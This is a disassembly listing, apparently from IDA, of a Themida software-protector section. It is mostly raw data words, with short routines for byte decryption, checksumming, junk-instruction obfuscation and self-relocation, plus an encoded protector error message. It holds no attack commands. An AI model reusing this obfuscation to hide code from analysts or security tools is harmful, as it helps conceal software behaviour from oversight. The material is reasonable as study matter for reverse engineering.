dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0EA18C7C3h, 0ADD61F80h, 8B46B24Bh, 0C70C244Ch, 0A481h
dd 0FFFFFF00h, 0B88183FFh, 4000000h, 8BC3C033h, 550C245Ch
dd 0E8h, 0ED815D00h, 7E76B0Ah, 0B8838Bh, 858D0000h, 7E76BD8h
dd 0B88389h, 335D0000h, 8166C3C0h, 6A5CFFC9h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 8B8AC351h, 6672FB69h, 858DCF8Bh, 7E76B00h, 10E860h
dd 1B910000h, 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 9D0173B0h
dd 7E427ADh, 7E959h, 59320000h, 17FA4F96h, 66506115h, 8BF489B9h
dd 0E417F18Dh, 35FF6407h, 0
dd 85958Bh, 896407E4h, 25h, 28B0F00h, 0B2000000h, 0AB958h
dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
dd 0EA810034h, 345FE8h, 68FB81EDh, 75564D58h, 2D85C70Ah
dd 107E40Eh, 64000000h, 58Fh, 0C4830000h, 0CA8B6604h, 8BC08BF9h
dd 0E403DD95h, 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h
dd 50197400h, 0B8C08B53h, 43Dh, 0EED8589h, 9D8D07E4h, 7E6EA57h
dd 585BD3FFh, 935BD83h, 740007E4h, 0B8535017h, 43Dh, 0EED8589h
dd 9D8D07E4h, 7E6E6F8h, 585BD3FFh, 2679B529h, 0C08B07E4h
dd 147E9h, 400h, 392E3100h, 3031h, 6 dup(0)
dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
dd 20202020h, 25203D20h, 0D0A64h, 2D7DBD83h, 0F0007E4h
dd 12D84h, 0F858D00h, 5007E6E5h, 0E479858Dh, 685007E6h
dd 80000001h, 0E51F95FFh, 858D07E6h, 7E76C46h, 50858D50h
dd 5007E76Ch, 6A006Ah, 0E48D858Dh, 0FF5007E6h, 0E6E50FB5h
dd 0F995FF07h, 8D07E401h, 0E76C4685h, 858D5007h, 7E76C54h
dd 6A006A50h, 9F858D00h, 5007E6E4h, 0E50FB5FFh, 95FF07E6h
dd 7E401F9h, 6C46858Dh, 8D5007E7h, 0E76C6085h, 6A5007h
dd 858D006Ah, 7E6E4ECh, 0FB5FF50h, 0FF07E6E5h, 0E401F995h
dd 46858D07h, 5007E76Ch, 6C68858Dh, 6A5007E7h, 8D006A00h
dd 0E6E50A85h, 0B5FF5007h, 7E6E50Fh, 1F995FFh, 858D07E4h
dd 7E76C46h, 64858D50h, 5007E76Ch, 6A006Ah, 0E4F3858Dh
dd 0FF5007E6h, 0E6E50FB5h, 0F995FF07h, 8D07E401h, 0E76C4685h
dd 858D5007h, 7E76C58h, 6A006A50h, 0FB858D00h, 5007E6E4h
dd 0E50FB5FFh, 95FF07E6h, 7E401F9h, 6C46858Dh, 8D5007E7h
dd 0E76C5C85h, 6A5007h, 858D006Ah, 7E6E502h, 0FB5FF50h
dd 0FF07E6E5h, 0E401F995h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h
dd 0A2E907h, 0BD830000h, 7E41525h, 95840F00h, 83000000h
dd 0E42015BDh, 850F0007h, 11h, 2D39958Bh, 0C28107E4h, 1CF8h
dd 0FE9h, 0E5958D00h, 8B07E402h, 0C2813452h, 3BD4C340h
dd 169D9589h, 0BD8307E4h, 7E4169Dh, 55840F00h, 8B000000h
dd 0E4169D9Dh, 4CC38307h, 8589038Bh, 7E76C50h, 169D9D8Bh
dd 0C38307E4h, 89038B50h, 0E76C5485h, 9D9D8B07h, 8307E416h
dd 38B54C3h, 6C608589h, 9D8B07E7h, 7E4169Dh, 8B58C383h
dd 64858903h, 8B07E76Ch, 0E4169D9Dh, 5CC38307h, 8589038Bh
dd 7E76C58h, 2D7DBD83h, 0F0007E4h, 0D85h, 25BD8300h, 7E415h
dd 68840Fh, 0B5FF0000h, 7E76C68h, 6C5CB5FFh, 0B5FF07E7h
dd 7E76C58h, 6C64B5FFh, 0B5FF07E7h, 7E76C60h, 6C54B5FFh
dd 0B5FF07E7h, 7E76C50h, 6C4A858Dh, 8D5007E7h, 0E76C8285h
dd 858D5007h, 7E43359h, 6995FF50h, 8307E421h, 406A24C4h
dd 6C6C858Dh, 8D5007E7h, 0E4335985h, 6A5007h, 216195FFh
dd 16A07E4h, 166595FFh, 0C18B07E4h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E77016h
dd 4C261h, 0FFFFE6E9h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_5B94B1 proc near ; CODE XREF: Themida_:005B94B6j
; DATA XREF: Themida_:00583A8Co
pusha
popa
retn 8
sub_5B94B1 endp
; ---------------------------------------------------------------------------
jmp sub_5B94B1
; ---------------------------------------------------------------------------
loc_5B94BB: ; CODE XREF: Themida_:005B94C0j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B94BB
; ---------------------------------------------------------------------------
loc_5B94C5: ; CODE XREF: Themida_:005B94CAj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B94C5
; ---------------------------------------------------------------------------
loc_5B94CF: ; CODE XREF: Themida_:005B94D4j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_5B94CF
; ---------------------------------------------------------------------------
align 4
dd 0
dd 0C3616000h, 0FFFFF8E9h, 4EB58BFFh, 8107E770h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 52B53B00h, 0F07E770h
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 169D858Bh, 188607E4h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 0DD95FF08h, 5007E419h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 169D858Bh, 0C607E4h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 7E4169Dh, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 7E426B5h, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_5B95E3
; ---------------------------------------------------------------------------
mov dword ptr [ebp+7E426B5h], 100h
loc_5B95E3: ; CODE XREF: Themida_:005B95D4j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h
dd 0F385C700h, 107E76Fh, 50000000h, 244C010Fh, 0F7858FFEh
dd 8D07E76Fh, 0E76FEF85h, 0F7BD8D07h, 8907E76Fh, 23E938h
dd 858D0000h, 7E402E5h, 538408Bh, 9B46F317h, 6FEF8589h
dd 858D07E7h, 7E402E5h, 893C408Bh, 0E76FF385h, 0C858D07h
dd 8907E770h, 0E419DD85h, 87E907h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5B970A: ; DATA XREF: Themida_:00583C68o
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_5B9725
; ---------------------------------------------------------------------------
loc_5B971E: ; CODE XREF: Themida_:005B9727j
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_5B9725: ; CODE XREF: Themida_:005B9719j
cmp esi, edi
jb loc_5B971E
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_5B9732: ; DATA XREF: Themida_:0058300Co
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_5B974D
; ---------------------------------------------------------------------------
loc_5B9746: ; CODE XREF: Themida_:005B974Fj
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_5B974D: ; CODE XREF: Themida_:005B9741j
cmp esi, edi
jb loc_5B9746
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
loc_5B975A: ; DATA XREF: Themida_:005841F0o
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_5B9780
; ---------------------------------------------------------------------------
loc_5B976D: ; CODE XREF: Themida_:005B9782j
lodsb
cmp al, 2Dh
jz loc_5B9780
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_5B9780: ; CODE XREF: Themida_:005B9768j
; Themida_:005B9770j
or ecx, ecx
jnz loc_5B976D
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
db 8Dh, 85h, 7Fh
dd 8907E772h, 0E417DD85h, 0A7858D07h, 8907E772h, 0E40B8185h
dd 0CF858D07h, 8907E772h, 0E41D6585h, 12E807h, 41680000h
dd 7C01EAFBh, 29D36EE5h, 4901A1DBh, 0A900AD9Dh, 26EB8166h
dd 5E958A5h, 7A000000h, 45114F13h, 5B04C081h, 81660000h
dd 683252EBh, 1690h, 68B0Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
pop edi
sub cx, 246Eh
loc_5B97FE: ; CODE XREF: Themida_:005B986Ej
push dword ptr [eax]
mov esi, eax
pop edx
push esi
sbb bh, 0ABh
pop ebx
xor edx, 7A38FC80h
jno loc_5B9819
and bx, 17DEh
loc_5B9819: ; CODE XREF: Themida_:005B980Ej
add edx, 6BF8D56Ch
push eax
and ch, 0D3h
pop esi
sub edx, 0FC9A05Dh
and esi, 7B3AD15Eh
mov [eax], edx
jz loc_5B9845
pusha
mov edx, 103DAF03h
jle $+6
popa
loc_5B9845: ; CODE XREF: Themida_:005B9832j
sub eax, 6EEA2008h
jmp loc_5B9864
; ---------------------------------------------------------------------------
dd 0F4A6F213h, 0D0CE97F6h, 0CE3EC430h, 9E35F8F9h, 0B809610h
; ---------------------------------------------------------------------------
loc_5B9864: ; CODE XREF: Themida_:005B984Bj
add eax, 6EEA2004h
add cl, 62h
dec edi
jnz loc_5B97FE
call sub_5B987F
xchg edi, [ecx-407D16C2h]
; =============== S U B R O U T I N E =======================================
sub_5B987F proc near ; CODE XREF: Themida_:005B9874p
push eax
pop ebx
pop ecx
pusha
pusha
jmp loc_5B9890
; ---------------------------------------------------------------------------
add [eax+edx-40929AD4h], esi
loc_5B9890: ; CODE XREF: sub_5B987F+5j
mov bx, cx
popa
jmp loc_5B98A1
; ---------------------------------------------------------------------------
db 0DDh, 8, 9Ah
; ---------------------------------------------------------------------------
pop ds
add [ebx], ch
mov dh, dh
loc_5B98A1: ; CODE XREF: sub_5B987F+15j
mov eax, eax
mov si, bx
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B98B8
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B98D1
loc_5B98B8: ; CODE XREF: sub_5B987F+2Ej
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5B98D1: ; CODE XREF: sub_5B987F+37j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B98F1
push eax
push ebx
mov eax, 40Eh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5B98F1: ; CODE XREF: sub_5B987F+59j
push 0
push ebp
call sub_5B98FC
and [ebp-3Dh], bl
sub_5B987F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B98FC proc near ; CODE XREF: sub_5B987F+75p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5B98FC endp
; ---------------------------------------------------------------------------
dd 28E7C7F0h, 27843010h, 0D0A7BE49h, 0FE8405Ah, 0D8000000h
dd 4222E7F1h, 45BBF923h, 1F3FABB5h, 66568C9Fh, 5E5ACF8Bh
dd 8166C08Bh, 83F0F5D1h, 0E4015DBDh, 840F0007h, 45h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 33C35040h, 2C3E92Eh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 9B5A64C3h, 0BF0F27D0h, 0FDF8CD2h, 8Eh, 0C7F76600h
dd 850F0004h, 28Dh, 0BD83D18Bh, 7E42BFDh, 18850F00h, 8A000000h
dd 277E9D1h, 9E90000h, 60000000h, 0B5CF593Dh, 0F160E8ADh
dd 2BF3B70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 0AE9EB3Eh, 6000000h, 0BB4F5D4Bh
dd 79B14D43h, 7B9D8D98h, 0BE07E777h, 0AA67F10h, 78A0F50h
dd 51000000h, 548B0CB9h, 1C895A3Ch, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0E9AFB5E1h
dd 0Bh, 6F8DC103h, 0C9C20AFCh, 64352129h, 35FFh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 650AB1C3h, 0AE8h, 0AB166B00h, 6BB97AE6h, 0F41753Ah
dd 385h, 0D0B70F00h, 2589645Ah, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5B9A8F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B9A8F proc near ; CODE XREF: Themida_:005B9A87p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5B9A8F endp
; ---------------------------------------------------------------------------
db 0C9h
dd 0FFCA19Ch, 0A80h, 5E900h, 17C70000h, 8B677558h, 50006AC4h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0CD6335C7h, 8100EB01h, 0B9D846DAh, 55006A18h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 270C4F58h, 91EFA181h, 0F78B8397h, 8F6470B6h, 5, 0EDF68100h
dd 8323B1B0h, 6A04C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 524743C3h, 0A4D2A550h, 0B317C4Dh
dd 0EA840FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 5950C355h, 0C495EB64h
dd 0F66030Dh, 88Dh, 28B0F00h, 60000000h, 0E8605061h, 10h
dd 0C5056387h, 918EAE41h, 0AA145920h, 4A90990Dh, 0F2C68058h
dd 66615A61h, 8DD79DBAh, 0E472B7BDh, 1B8F507h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 28FCC355h, 0DA03216Fh, 0FFD08B66h, 57006AE7h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0C81FD2CEh, 0C4795536h, 14E9F5h, 0DF150000h, 9BA7CFDBh
dd 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 8B57C242h, 8B10245Ch
dd 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h
dd 0C3C0335Fh, 0D3E28166h, 66606109h, 9BCADE81h, 0B2C08B61h
dd 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h, 50197400h
dd 0B8C08B53h, 40Eh, 0EED8589h, 9D8D07E4h, 7E6EA57h, 585BD3FFh
dd 935BD83h, 740007E4h, 0B8535017h, 40Eh, 0EED8589h, 9D8D07E4h
dd 7E6E6F8h, 585BD3FFh, 6A9CC680h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EC22C357h
dd 15F3BFD1h, 0E8C08BF5h, 13h, 64540A26h, 92D0C044h, 279E621Ah
dd 0B48CA4B3h, 0FAE17BDh, 0B86h, 6E900h, 0BC0E0000h, 2E56EF50h
dd 38BA665Eh, 0EBC28BB8h, 8, 0
dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 15858B24h
dd 8D07E420h, 0E7CC1085h, 8B088B07h, 100088h, 660A8B00h
dd 89FC4A8Bh, 0E778568Dh, 0FDBD8307h, 7E42Bh, 0F840Fh
dd 6A600000h, 4195FF00h, 6107E40Eh, 0FFFFC4E9h, 728966FFh
dd 10CEC1FCh, 2728966h, 5A04CD52h, 78528589h, 0B58B07E7h
dd 7E77856h, 6610CEC1h, 8B027289h, 0E77856B5h, 72896607h
dd 858B61FCh, 7E77852h, 0AD958DC3h, 8907E40Bh, 0E4169D95h
dd 0B5958907h, 0FF07E41Eh, 0E41EB585h, 2D85C607h, 5307E42Ch
dd 0B148D868h, 9DB5FFFCh, 8D07E401h, 0E43BDC85h, 89D0FF07h
dd 0E40E4185h, 26858D07h, 8907E770h, 0E4160185h, 0E900EB07h
dd 5ACh, 5A0E9h, 79FB6800h, 0C8E907E7h, 68FFFD04h, 7E77B52h
dd 0FD04BEE9h, 7BC768FFh, 0B4E907E7h, 68FFFD04h, 7E77CA6h
dd 0FD04AAE9h, 7D9368FFh, 0A0E907E7h, 0B2FFFD04h, 0E24B8DAh
dd 6B811535h, 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h
dd 92B08AA0h, 0F40AE8FEh, 556D4A60h, 0E15E0EC1h, 13A5D91Ah
dd 3DDB73B8h, 6237495Fh, 42A08477h, 0A04B3014h, 11ED1442h
dd 0A91442A0h, 1442A0D6h, 42A09862h, 0A0631C14h, 0E4AB9442h
dd 0DC7ACAh, 0B313AEE6h, 337FA520h, 411F3172h, 0A69B86C4h
dd 0D6E35593h, 96599530h, 29927183h, 475D3BD9h, 0FA77D9B3h
dd 93A6D305h, 3C5668D1h, 3910485Eh, 8B085856h, 9442CC25h
dd 0DC76CA33h, 41E2352Ah, 4267B01h, 79510000h, 0D4ADC357h
dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h, 3FD3EFCAh
dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A5D9h
dd 79568312h, 827C2961h, 551442A0h, 0DF41782Ch, 42A09D62h
dd 80D03914h, 42A07C03h, 5F71DA14h, 0BC506845h, 61B1C9A6h
dd 0A0FD82FFh, 0F0591442h, 6D4A18DEh, 2D930555h, 4C934C4Ah
dd 1553192Bh, 4825184Ch, 3AC59C30h, 9BE05BC0h, 386h, 1BF492C4h
dd 7B916FFBh, 7C96A843h, 0A24F879Fh, 1442A0D8h, 0A42623Bh
dd 0BD495D3Ch, 0EE90C8E0h, 3E52FA7Dh, 0C043E297h, 0EAACCC84h
dd 1B53734Ch, 95D16E80h, 65B5CDAAh, 0C0D2EAC7h, 9D3BEB9Eh
dd 0B997A9BFh, 425A473Ch, 72AA1314h, 0ACA9C6A4h, 2A33F705h
dd 604BC121h, 264A9AC6h, 0FD5F39CDh, 16591E9Bh, 8CF51442h
dd 42165A21h, 7B88F814h, 0C7EB84A7h, 6E889AF3h, 6A417991h
dd 1AF48826h, 365EEDA8h, 47D30D67h, 7E19516Bh, 5D75526Ch
dd 5F7D5725h, 6025D6CBh, 0CAA1442h, 0E9031531h, 0E2B9F10Fh
dd 3FB101ADh, 2E0AB4BFh, 6F15B414h, 0B9211D7Dh, 0D0D22854h
dd 0E07EE0BEh, 0C1D7B506h, 5D95EE89h, 5B7B0C2h, 4B13A652h
dd 0C8CE8EE2h, 23636A18h, 2CF9Dh, 0AED0A800h, 0B2B041Ah
dd 6B856177h, 0CEE2C1D7h, 2D49243Ah, 213AC099h, 80962A46h
dd 0DEF488A6h, 4056EA00h, 4B74B63h, 0DB20D754h, 69AE13A5h
dd 617956DAh, 667E5B29h, 6886602Eh, 0A05CDFD4h, 27D81442h
dd 701442B0h, 0AE407896h, 0B1D3110h, 42B06912h, 784E614h
dd 1442B070h, 406375DEh, 920F5F4Fh, 13A69308h, 0DD89DD46h
dd 686A1989h, 25AA228h, 451D0000h, 0A0798F23h, 0FAD6EC80h
dd 57364CE0h, 0BE99AF43h, 0CF350EA2h, 0B9FBB96h, 69FD1BF5h
dd 0CB5F7553h, 2CC0D8B5h, 0B74CC979h, 2313A5DBh, 79564FDEh
dd 35972961h, 42A0C3B8h, 14268F14h, 0F6D21DFAh, 0D4B83DCh
dd 70886503h, 0EE8B9D38h, 0D2EAC7B6h, 8CF2643Eh, 61A8690Dh
dd 728D687Ah, 63E05B27h, 1D2h, 0A084778Ch, 310F1442h, 0FAD871Bh
dd 0DEA52233h, 7C1442A0h, 0E782BA13h, 0C7DDBBD5h, 0E000D977h
dd 5C3A08CEh, 0F984F646h, 666AFA27h, 55E5AE57h, 0AD06505Ch
dd 0F42C4421h, 43814759h, 7553CA7Ah, 0BF4CB5Fh, 0CCE05BEEh
dd 5Dh, 6C424DF5h, 0B8719F1Ch, 0BF1F13A6h, 0A6B9BD42h
dd 0A27D1913h, 5AB34E86h, 0B9F68D0Ah, 0FB6413A6h, 0A5224EA2h
dd 0F7376A19h, 17B71h, 224FC00h, 5F7F586Eh, 0BFD9B5CBh
dd 2236152Bh, 819D788Eh, 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh
dd 94AA3E54h, 580B9FB7h, 0DC542BA8h, 0BD0213A5h, 6377562Eh
dd 7E0D8A3Ah, 0EC1442A0h, 9F7D4B83h, 55E7C56h, 667E5B71h
dd 7539572Eh, 0A4EDCBE1h, 0DB76AEC8h, 0FBD8EE82h, 0EF2193E3h
dd 64A62AB2h, 5422E8FAh, 15C85C7Ah, 0D4E8C765h, 95A1B474h
dd 94A6C37Ch, 0FD4239B6h, 0A7101442h, 0ABC5A16Fh, 149AF817h
dd 18320EDCh, 0FDEC8F84h, 1631442h, 42FDFF84h, 0E0F25B14h
dd 8CDCD2BDh, 0A6DBAD0Fh, 0EA3AA313h, 4355714Ch, 9BEEC765h
dd 0B84CA5BFh, 9B76C9A2h, 20EE267Fh, 7ADC2C42h, 0A62406FDh
dd 596BD413h, 0CDEBC593h, 0D1EBC795h, 0DDA21F81h, 7913A624h
dd 6138FE10h, 0B330802Eh, 14422FE5h, 84F64AB3h, 0E962352Eh
dd 8E23A9h, 11E90000h, 6C455BEFh, 0C6A2B84Ch, 230218ACh
dd 8A657B0Fh, 0FB01DA6Eh, 0D76B8762h, 35C9E7C1h, 972B411Fh
dd 0F88CA481h, 63189545h, 0EF13A5DDh, 20921BAAh, 59810348h
dd 2F495B84h, 112B0752h, 0ADE53ED9h, 0B2EA02DFh, 84FBAB74h
dd 24FB8FA7h, 0E05B18DBh, 29431FBDh, 107817h, 77A10000h
dd 1442A085h, 871B3310h, 1AB9h, 0F4924800h, 32C4FC1Ah
dd 42A0CEB5h, 0CA238C14h, 0A03CBFB8h, 7A571442h, 94FDCE62h
dd 24258h, 74C30000h, 245C7E56h, 29617956h, 2F677D5Bh
dd 31698761h, 346C8863h, 376F8B66h, 3E768A69h, 427A9470h
dd 437B9B74h, 2CD768EEh, 3C890000h, 59E76824h, 34890000h
dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 0BE240C89h
dd 2F1E205Fh, 2414F756h, 0EE81465Eh, 0C8FA6645h, 8904EC83h
dd 4812424h, 424h, 89685900h, 8900007Fh, 8BB241Ch, 1000000h
dd 5B3389CBh, 592434FFh, 4C481h, 348B0000h, 0E0895024h
dd 405h, 40500h, 4870000h, 3CE95C24h, 6EFFFCFFh, 0A35999A4h
dd 4CBEE58Ch, 7E46B88Fh, 0C50307E7h, 51E9D18Bh
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5BA363 proc near ; DATA XREF: Themida_:005829C4o
; Themida_:005846D8o
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
add esi, [esi+3Ch]
mov edi, [esp+20h+arg_4]
mov edx, esi
add edx, 0F8h
mov cx, [esi+6]
movzx ecx, cx
loc_5BA37E: ; CODE XREF: sub_5BA363+46j
cmp ecx, 0
jz loc_5BA39D
cmp edi, [edx+0Ch]
jg loc_5BA3A5
sub edx, 28h
mov eax, [edx+0Ch]
mov ecx, [edx+14h]
sub eax, ecx
sub edi, eax
loc_5BA39D: ; CODE XREF: sub_5BA363+1Ej
; sub_5BA363+4Cj
mov [esp+20h+var_4], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5BA3A5: ; CODE XREF: sub_5BA363+27j
add edx, 28h
dec ecx
jnz loc_5BA37E
jmp loc_5BA39D
sub_5BA363 endp
; ---------------------------------------------------------------------------
mov edx, 9FD3Eh
jmp short loc_5BA3DB
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5BA3DB: ; CODE XREF: Themida_:005BA3B9j
jmp loc_5BA945
; ---------------------------------------------------------------------------
jmp loc_5BA93E
; ---------------------------------------------------------------------------
push 7E78113h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E781D9h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E78351h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E783BAh
jmp loc_58A287
; ---------------------------------------------------------------------------
db 0D8h, 0, 0DEh
dd 3B5B344Ah, 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h
dd 0B0C65A76h, 0E24B8D6h, 70861A30h, 34E77B93h, 0DF700784h
dd 99DE13A5h, 6C886301h, 0B2879934h, 28607A56h, 42A0807Bh
dd 0E364794h, 976CE94Bh, 349442A0h, 18B90F58h, 0D0398A7Ch
dd 0A1CE3BEh, 30B9605Ch, 0E2000000h, 42A08577h, 0D2AE4C14h
dd 0C83A6B8h, 1F78946Fh, 8D555DCFh, 83FF7308h, 29169371h
dd 3513A556h, 902C0DC5h, 0F54E6C2Eh, 429361h, 77220000h
dd 1442A084h, 7569D94Bh, 627F3114h, 42771EE5h, 0FA53BC14h
dd 0E4CAC5E8h, 8281794h, 0CD3613A5h, 0D99E1B7Dh, 7513AAF6h
dd 2A0FF05h, 0A3FC20F8h, 12243817h, 997816F0h, 245C7652h
dd 491E3089h, 10607A56h, 1D729972h, 1F77FA8Eh, 3FDA126Bh
dd 3EBA672Dh, 3E6BBDF4h, 0B8948BBBh, 0A7EB0A9Eh, 413AB707h
dd 0D94421Bh, 0C19E6CA4h, 99F615A9h, 0A248C515h, 3093A63Bh
dd 449DB994h, 7B9C5F0Ch, 1A2B93A6h, 42CD326Ah, 0A90A5877h
dd 33000000h, 0CCB33092h, 8A1442A0h, 0A3EC0F21h, 0E759BB0Bh
dd 0CB14EF4Dh, 0F87FFC49h, 56144236h, 898294EDh, 13A54EA9h
dd 900252BBh, 0C09F65B2h, 79D974ACh, 0FC4C805Ah, 0AA59F87Fh
dd 0DBED5613h, 20FD9BFDh, 72967701h, 146DE089h, 1B2F0EDCh
dd 0DDEF48E3h, 3ACEE6C3h, 9A284724h, 0B5BDE3A9h, 53680F8Ch
dd 7DE613AAh, 0B77CB24h, 726A14D1h, 2DFAC32h, 91690000h
dd 0ECC5DB6Fh, 462238CCh, 0A382982Ch, 0AE5FB8Fh, 7B815AEEh
dd 57EB07E2h, 0B5496741h, 17ABC19Fh, 780C2401h, 0E39815C5h
dd 6F13A521h, 0AA9E9B2Ah, 2D000002h, 28607A56h, 0C0B73496h
dd 8E1442A0h, 611A1325h, 0D31442A0h, 1442A0A8h, 93AD8927h
dd 97B18D5Bh, 596BC45Fh, 42A09C60h, 0A0631C14h, 52F01442h
